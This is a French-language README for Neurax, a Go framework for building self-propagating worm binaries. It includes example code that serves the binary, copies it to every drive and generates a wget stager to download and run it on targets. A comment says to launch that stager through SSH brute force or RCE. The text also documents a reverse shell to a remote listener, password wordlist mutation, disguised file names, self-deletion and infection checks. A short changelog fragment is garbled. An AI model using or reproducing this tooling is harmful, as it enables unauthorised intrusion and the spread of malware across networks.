
Un framework pour construire des binaires auto-propagateurs
Un framework qui facilite la création de logiciels auto-propagateurs
Avec l'aide de Neurax, les binaires Go peuvent se propager sur LAN/WAN sans utiliser de serveurs externes.
Des options de configuration variées et des stagers de commande permettent une propagation rapide dans divers environnements sans fil.
package main
import . "github.com/redcode-labs/Neurax"
func main(){
//Spécifie le port de service et le stager à utiliser
Nrx.Config.Port = 5555
Nrx.Config.Stager = "wget"
//Démarre un serveur qui expose le binaire actuel en arrière-plan
go NeuraxServer()
//Copie le binaire actuel sur tous les lecteurs logiques
NeuraxDisks()
//Crée un stager de commande qui doit être lancé sur la machine cible
//Il téléchargera, décodera et exécutera le binaire
cmd_stager := NeuraxStager()
/* Maintenant, vous devez exécuter d'une manière ou d'une autre la commande générée ci-dessus.
Vous pouvez utiliser un brute-force SSH, une RCE ou tout ce que vous voulez ;> */
}
unlinkat(2)N.StagerBg)N.NoInfectCheck pour désactiver la vérification si l'hôte est déjà infecté.NeuraxServer().httrack pour LinuxN.StagerRemovalDelay).FastScan qui rend les scans actifs un peu plus rapidesNeuraxScan() accepte une fonction de rappel au lieu d'un canal comme argument.NeuraxScan() scanne en boucle infinie avec possibilité de définir un intervalle entre chaque scan de tout le sous-réseau/ensemble de ciblesNeuraxConfig. est devenu N. (car c'est plus court à taper)wget + curl).WordlistExpand)La fonction NeuraxScan(func(string)) permet la détection des hôtes actifs sur le réseau local.
Son seul argument est une fonction de rappel qui est appelée en arrière-plan pour chaque hôte actif.
Un hôte est considéré comme actif lorsqu'il a au moins 1 port ouvert, n'est pas déjà infecté et remplit les conditions spécifiées dans N.
NeuraxScan() s'exécute en boucle infinie - elle scanne tout le sous-réseau spécifié par l'entrée de configuration .Cidr et lorsque chaque hôte est scanné, la fonction dort pendant un intervalle donné dans .ScanInterval.
Le binaire Neurax n'a pas besoin de se copier par voie sans fil.
La fonction NeuraxDisks() copie le binaire actuel (sous un nom non suspect) vers tous les lecteurs logiques trouvés.
Le binaire copié n'est pas exécuté, mais réside simplement dans sa destination en attendant d'être lancé.
NeuraxDisks() retourne une error si la liste des disques ne peut être obtenue ou si la copie vers une destination quelconque était impossible.
Une autre fonction, NeuraxZIP(num_files int) err permet de créer une archive .zip nommée aléatoirement contenant le binaire actuel.
Elle est sauvegardée dans le répertoire courant et contient jusqu'à num_files fichiers aléatoires.
NeuraxZIPSelf() zippe simplement le binaire actuel, créant une archive portant le même nom.
Un shell inversé interactif peut être établi avec NeuraxReverse().
Elle recevra des commandes depuis le nom d'hôte spécifié dans .ReverseListener sous la forme "<host>:<port>".
Le protocole utilisé est défini dans .ReverseProto.
Si NeuraxOpenComm() a été démarré avant d'appeler cette fonction, chaque commande se comportera comme décrit dans la section ci-dessus.
Si ce n'est pas le cas, les commandes seront exécutées localement.
Remarque : cette fonction doit également être exécutée en tant que goroutine pour éviter le blocage dû à la boucle infinie utilisée pour la réception.
Chaque fois qu'une commande "purge" est reçue par un nœud, il renvoie cette commande à tous les autres nœuds, se supprime de l'hôte et quitte.
Ce comportement peut également être déclenché en utilisant NeuraxPurge() exécutée quelque part dans le code source.
Si votre vecteur de propagation est basé sur une forme de brute-force, il est bon d'avoir une liste de mots appropriée préparée.
Stocker des mots dans un fichier texte côté client n'est pas vraiment efficace, vous pouvez donc muter une liste de mots de base en utilisant NeuraxWordlist(...words) []string.
Pour permuter un ensemble de mots donnés, utilisez NeuraxWordlistPermute(..words) []string.
Si vous voulez que votre binaire se supprime après un certain temps, utilisez NeuraxSetTTL() au début de votre code.
Cette fonction doit être lancée en tant que goroutine.
Par exemple :
go NeuraxSetTTL("2m")
fera en sorte que le binaire exécute NeuraxPurgeSelf() 2 minutes après l'exécution initiale.
Si vous souhaitez chaîner tous les stagers disponibles pour une plateforme donnée, définissez .Stager sur "chain".
Si vous devez copier le binaire après l'exécution initiale, utilisez NeuraxMigrate(path string).
Il copiera le binaire sous path, supprimera le binaire actuel et exécutera celui qui vient d'être migré.
Si vous aimez ce projet et souhaitez le voir grandir, merci d'envisager de faire un petit don :>
Ce logiciel est sous licence MIT
| Nom | Description | Valeur par défaut |
|---|
| Nrx.Config.Stager | Nom du stager de commande à utiliser | aléatoire, compatible avec la plateforme |
| Nrx.Config.StagerSudo | Si vrai, les stagers de commande Linux sont exécutés avec privilèges élevés | false |
| Nrx.Config.StagerRetry | Nombre de fois pour réexécuter le stager de commande | 0 |
| Nrx.Config.StagerRemoveDelay | Une instruction Sleep est appliquée avant de supprimer le binaire téléchargé | true |
| Nrx.Config.Port | Port sur lequel servir | 6741 |
| Nrx.Config.Platform | Plateforme cible | détectée automatiquement |
| Nrx.Config.Path | Chemin sous lequel le binaire est sauvegardé sur l'hôte | . |
| Nrx.Config.FileName | Nom sous lequel le binaire téléchargé doit être servi puis sauvegardé | aléatoire |
| Nrx.Config.Base64 | Coder le binaire transféré en base64 | false |
| Nrx.Config.CommPort | Port utilisé par les binaires pour communiquer entre eux | 7777 |
| Nrx.Config.CommProto | Protocole de communication entre les nœuds | "udp" |
| Nrx.Config.ReverseListener | Contient "<host>:<port>" du gestionnaire de shell inversé distant | non spécifié |
| Nrx.Config.ReverseProto | Protocole à utiliser pour la connexion inversée | "udp" |
| Nrx.Config.ScanRequiredPort | NeuraxScan() considère l'hôte comme actif seulement s'il a un port spécifique ouvert | aucun |
| Nrx.Config.ScanPassive | NeuraxScan() détecte les hôtes en utilisant la surveillance passive du trafic ARP | false |
| Nrx.Config.ScanPassiveTimeout | NeuraxScan() surveille la couche ARP pendant ce nombre de secondes | 50 secondes |
| Nrx.Config.ScanPassiveIface | Interface à utiliser lors du scan passif | par défaut |
| Nrx.Config.ScanActiveTimeout | NeuraxScan() définit cette valeur comme délai d'attente pour le port scanné dans chaque thread | 2 secondes |
| Nrx.Config.ScanPassiveAll | NeuraxScan() capture les paquets sur tous les périphériques trouvés | false |
| Nrx.Config.ScanPassiveNoArp | Le scan passif ne définit pas de filtre de capture ARP strict | false |
| Nrx.Config.ScanFirst | Une slice contenant les adresses IP à scanner en premier | []string{} |
| Nrx.Config.ScanFirstOnly | NeuraxScan() scanne uniquement les hôtes spécifiés dans .ScanFirst | false |
| Nrx.Config.ScanArpCache | NeuraxScan() scanne d'abord les hôtes trouvés dans le cache ARP local. Fonctionne uniquement avec le scan actif | false |
| Nrx.Config.ScanCidr | NeuraxScan() scanne ce CIDR | IP locale + "\24" |
| Nrx.Config.ScanActiveThreads | Nombre de threads à utiliser pour NeuraxScan() | 10 |
| Nrx.Config.ScanFullRange | NeuraxScan() scanne tous les ports de l'hôte cible pour déterminer s'il est actif | de 19 à 300 |
| Nrx.Config.ScanInterval | Intervalle de temps pour dormir avant de scanner à nouveau tout le sous-réseau | "2m" |
| Nrx.Config.ScanHostInterval | Intervalle de temps pour dormir avant de scanner l'hôte suivant en mode actif | "none" |
| Nrx.Config.ScanGatewayFirst | La passerelle est le premier hôte scanné lorsqu'un scan actif est utilisé | false |
| Nrx.Config.Verbose | Si vrai, tous les messages d'erreur sont affichés sur STDOUT | false |
| Nrx.Config.Remove | Lorsque des erreurs se produisent, le binaire se supprime lui-même de l'hôte | false |
| Nrx.Config.PreventReexec | Si vrai, lorsqu'une commande correspond à des commandes déjà reçues auparavant, elle n'est pas exécutée | true |
| Nrx.Config.WordlistExpand | NeuraxWordlist() effectue des transformations non standard sur les mots d'entrée | false |
| Nrx.Config.WordlistCommon | Préfixer les 20 mots de passe les plus courants à la liste de mots | false |
| Nrx.Config.WordlistCommonNum | Nombre de mots de passe courants à utiliser | tous |
| Nrx.Config.WordlistCommonCountries | Une map[string]int contenant les codes pays et le nombre de mots de passe à utiliser | map[string]int |
| Nrx.Config.WordlistMutators | Mutateurs à utiliser lorsque .WordlistExpand est spécifié | {"single_upper", "cyryllic", "encapsule"} |
| Nrx.Config.WordlistPermuteNum | Longueur maximale de la permutation générée par NeuraxWordlistPermute() | 2 |
| Nrx.Config.WordlistPermuteSeparator | Un caractère séparateur à utiliser pour les permutations | "-" |
| Nrx.Config.WordlistShuffle | Mélanger la liste de mots générée avant de la retourner | false |
| Nrx.Config.AllocNum | Cette entrée définit combien de fois NeuraxAlloc() alloue de la mémoire aléatoire | 5 |
| Nrx.Config.Blacklist | Slice contenant les adresses IP exclues de tout type de scan | []string{} |
| Nrx.Config.FastHTTP | La requête HTTP dans IsHostInfected() est effectuée en utilisant la bibliothèque fasthttp | false |
| Nrx.Config.Debug | Activer les messages de débogage | false |
| Nrx.Config.NoInfectCheck | Désactiver la vérification si l'hôte est déjà infecté | true |